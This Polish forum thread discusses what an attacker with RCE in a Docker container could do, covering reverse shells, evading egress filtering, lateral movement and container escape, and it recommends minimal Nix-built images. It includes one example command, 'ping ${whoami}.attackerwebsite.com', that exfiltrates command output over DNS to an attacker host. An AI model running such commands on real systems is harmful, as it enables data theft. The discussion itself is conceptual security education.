Od RCE do pełnej kontroli nad systemem

Załóżmy, że jakaś aplikacja backendowa jest podatna na RCE i sobie żyje gdzieś w obrazie dockerowym,
na którym nie ma shelli. Czy reverse shell będzie możliwy? Wydaje mi się, że tak bo reverse shella można
na milion sposobów zrobić. Pytanie czy da się tak przygotować obraz aby reverse shell nie był możliwy (pomijając blokowanie ruchu wychodzącego)?

A teraz załóżmy, że ruch wychodzący jest filtrowany.
Czy mimo to da się to obejść?

A teraz zakładam, że wszystko to da się obejść i atakujący ma shella
w tym obrazie.
Jakie szkody może wyrządzić?
Przychodzi mi do głowy potencjalnie wyciek danych
jakichś tokenów, ma dostęp do logów, może wołać inne systemy w kontekście
tej aplikacji. Może jeszcze sobie jakąś komparke zainstalować tylko wtedy pewnie
łatwo by było go wykryć.
Czy może zaatakować inne systemy w intranecie z tego obrazu?
Jeżeli tak to jak może to zrobić? Nmapa odpalić przeskanować sieć i próbować
exploitować?
A może lepiej jak będzie próbował wyskoczyć z tego obrazu i wtedy będzie miał
dostęp do kubectl czy tam innego cuda?

Wszystko co wymieniles jest mozliwe.

to czytales?
docker - security

redhat hardening docker

czy da się tak przygotować obraz aby reverse shell nie był możliwy

Można na przykład nie wrzucać całego systemu operacyjnego do środka kontenera

W tym szczególnie pomaga Nix, który posiada gotowe narzędzia do przygotowywania minimalnych obrazów (https://nix.dev/tutorials/building-and-running-docker-images).

Pytanie czy da się tak przygotować obraz aby reverse shell nie był możliwy (pomijając blokowanie ruchu wychodzącego)?

Nie. Ba, nawet to blokowanie połączeń nic nie da.

A teraz załóżmy, że ruch wychodzący jest filtrowany.
Czy mimo to da się to obejść?

Skoro ktoś ma RCE to od biedy może zbudować shell w oparciu o to RCE właśnie. Czasem nie będzie zwrotnego echa, ale to też można załatwić np. exfiltrując dane za pomocą zapytań DNS albo pingów albo np. timingiem odpowiedzi z tego twojego RCE.

Czy może zaatakować inne systemy w intranecie z tego obrazu?

To zależy, jeśli konfiguracja jest skopana albo ktoś ma jakiegoś 0daya na wyskoczenie z kontenera to można eskalować sobie uprawnienia na hosta. Oczywiście można też coś robić z rzeczami w obrazie, ale w praktyce często jest tak, że jeden docker = jeden serwis i niewiele można zrobić, więc dużo ciekawiej jest wyskoczyc z dockera a potem próbować się pivotować po reszcie sieci.

Czasem nie będzie zwrotnego echa, ale to też można załatwić np. exfiltrując dane za pomocą zapytań DNS albo pingów albo np. timingiem odpowiedzi z tego twojego RCE.

Czyli na zasadzie, że dzięki rce wysyłam komendę np. ping ${whoami}.attackerwebsite.com i w odpowiedzi zwrotnej w logach mojego serwera dns dostanę odpowiedź? A jak dnsy są zablokowane?

dużo ciekawiej jest wyskoczyc z dockera a potem próbować się pivotować po reszcie sieci.

Wyskoczenie z dockera zakładam, że nie takie proste;)

Czyli na zasadzie, że dzięki rce wysyłam komendę np. ping ${whoami}.attackerwebsite.com i w odpowiedzi zwrotnej w logach mojego serwera dns dostanę odpowiedź?

Na przykład

A jak dnsy są zablokowane?

To coś innego nie jest. Albo możesz jakoś użyć eksploitowanej aplikacji żeby leakować echo.

Wyskoczenie z dockera zakładam, że nie takie proste;)

Żebyś sie nie zdziwił. Docker nie jest sandboxem jak jakiś nsjail

Jaka jest główna różnica? Nsjail jest bezpieczniejszy?

Róznica jest taka że nsjail to jest sandbox security a docker nie. Jedno z drugim nie ma nic wspólnego. Celem dockera jest odpalenie czegoś w stylu "lekkiej VMki" z jakimiś aplikacjami. Ma ułatwić deployowanie oprogramowania, szczególnie na dużych cloudowych środowiskach w automatyczny sposób.
Ale ta "lekkość" wynika właśnie z tego ze nie masz tam zadnej VMki tylko taki "udawany" setup. Incydentalnie taki setup sprawia, że exploitowanie aplikacji w kontenerze nie daje od razu RCE na hoście, ale poleganie na tym jako na jakimś sandboxie to zły pomysł.